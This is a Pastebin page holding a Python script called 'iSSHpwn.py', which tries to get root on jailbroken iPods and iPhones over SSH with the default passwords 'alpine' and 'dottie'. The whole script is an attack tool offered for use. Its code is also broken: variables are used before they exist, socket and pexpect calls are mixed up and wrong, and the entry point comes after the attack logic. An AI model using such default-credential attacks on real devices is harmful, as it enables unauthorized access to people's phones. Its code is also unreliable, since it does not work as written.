Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- #iSSHpwn.py
- import os, pexpect, sys
- import socket
- alpine = "alpine" #Default for iPod / iPhone 2G is alpine
- dottie = "dottie" #Default for iPod / iPhone 1G is dottie
- print("\t[+] Welcome to iSSHpwn v0.2")
- print("\t[+] Trying to connect to port: 22( SSH) ..\n")
- print("-------------------------------------------")
- try:
- buf = "\n"
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.connect((host,port))
- foo = sock.connect('ssh root@%s %s',host,port)
- foo.expect('.*ssword:')
- foo.sendline(alpine)
- foo.sendline(dottie)
- sock.sendall(buf)
- print("[+] Root acquired thru default passes ..")
- print("[+] Type 'logout' to end session ..")
- s= sock.recv(4000)
- foo.interact()
- except:
- print("\t[+] Expl0it failed!")
- print("\t[+] Either the target is not jailbroken, SSH is closed or the password is neither alpine or dottie!")
- sys.exit()
- if __name__=="__main__":
- if len(sys.argv)<3:
- print "usage: %s host port" % sys.argv[0]
- sys.exit()
- sock.connect(sys.argv[1],int(sys.argv[2]))
Add Comment
Please, Sign In to add comment